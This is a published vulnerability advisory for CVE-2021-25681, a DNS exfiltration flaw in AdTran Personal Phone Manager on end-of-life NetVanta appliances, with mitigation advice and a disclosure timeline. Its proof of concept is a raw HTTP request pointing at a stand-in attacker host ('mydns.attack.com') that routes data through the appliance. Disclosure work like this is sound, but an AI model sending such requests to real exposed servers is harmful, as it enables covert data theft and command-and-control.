# Date: 1/21/2021
# Exploit Author: 3ndG4me
# Vendor Homepage: https://adtran.com/web/page/portal/Adtran/wp_home
# Version: v10.8.1
# Tested on: NetVanta 7060 and NetVanta 7100
# CVE : CVE-2021-25681
# CVE-2021-25681 - AdTran Personal Phone Manager DNS Exfiltration
--Summary--
The AdTran Personal Phone Manager software is vulnerable to an issue that allows for exfiltration of data over DNS. This could allow for exposed AdTran Personal Phone Manager web servers to be used as DNS redirectors to tunnel arbitrary data over DNS.
ADTRAN, Inc
https://adtran.com
--Affects--
- AdTran Personal Phone Manager
- Verified on v10.8.1
- **Note**: The affected appliances NetVanta 7060 and NetVanta 7100
are considered End of Life and as such this issue will not be
patched. It is recommended impacted users update to an actively
supported appliance.
--Details--
The AdTran Personal Phone Manager software is vulnerable to an issue that allows for exfiltration of data over DNS. This could allow for exposed AdTran Personal Phone Manager web servers to be used as DNS redirectors to tunnel arbitrary data over DNS. This is achieved by simply making a GET request to the vulnerable server containing a reference to a DNS target that is collecting the tunneled data. This can lead to:
- Utilizing exposed AdTran Personal Phone Manager Services as a
redirector for DNS based Command and Control
- Utilizing exposed AdTran Personal Phone Manager Services as a
redirector for DNS based arbitrary data exfiltration
-- Proof of Concept --
To exploit the issue all that is necessary is a simple DNS
request:
GET http://mydns.attack.com/ HTTP/1.1
Host: SOME ADTRAN HOST HERE
Pragma: no-cache
Cache-Control: no-cache, no-transform
Connection: close
--Mitigation--
The server should be reconfigured to not perform arbitrary DNS
lookups when the Host/Get requests do not match. Additionally
scoping requests to only be allowed in the context of the
application is ideal.
--Timeline--
- 1/21/2021: DNS Exfiltration vulnerability was discovered and
documented. A temporary CVE identifier was requested by MITRE.
AdTran was also notified with the full details of each finding via
their product security contact at
https://adtran.com/web/page/portal/Adtran/wp_product_security. A
baseline 90 day disclosure timeline was established in the initial
communication.
- 1/22/2021: Placeholder CVE-2021-25681 was assigned by MITRE.
- 1/29/2021: A response from AdTran's Product Security Team was
received.
- 2/8/2021: The researcher responded to the email acknowledging
receipt. The encrypted email contents appeared to be corrupted so a
request was made to resend the data.
- 2/9/2021: AdTran's Product Security Team replied with a
re-encrypted copy of the previous communication made on 1/29/2021.
The reasearcher was able to successfully decrypt the contents of
this communication. The communication informed the researcher that
the disclosed issues targeting NetVanta 7060 and NetVanta 7100
would not be addressed. The justification for this decision is that
software support ended in June of 2018, and product EOL occurred in
December of 2020. As such AdTran would not be invesitgating the
issues leaving the details of the findings as is. The reseacher
responded with acknowledgement to the decision and requested
support to proceed with full disclosure outside of the previously
established 90 day timeline.
- 2/11/2021: AdTran's product security team responded to the
request for full disclosure. They informed the researcher that they
would like to discuss the decision internally first. The researcher
acknowledged the request and affirmed they would not procceed with
disclosure until further notice.
- 3/1/2021: AdTran's product security team reached out to inform
the researcher that they would support the full disclosure of the
vulnerability at the researcher's discretion. They provided a few
details on model names to include as EOL for the disclosure
details.
- 3/2/2021: The researcher acknowledges the approval and informs
the product security team that a link will be provided to any
future publications once the vulnerability is publicly
disclosed.
- 3/3/2021: The researcher begins constructing a private repository
to prepare the write ups for release.
- 4/17/2021: The researcher publishes the repository for full
disclosure and notifies MITRE to update the CVE entry
details.
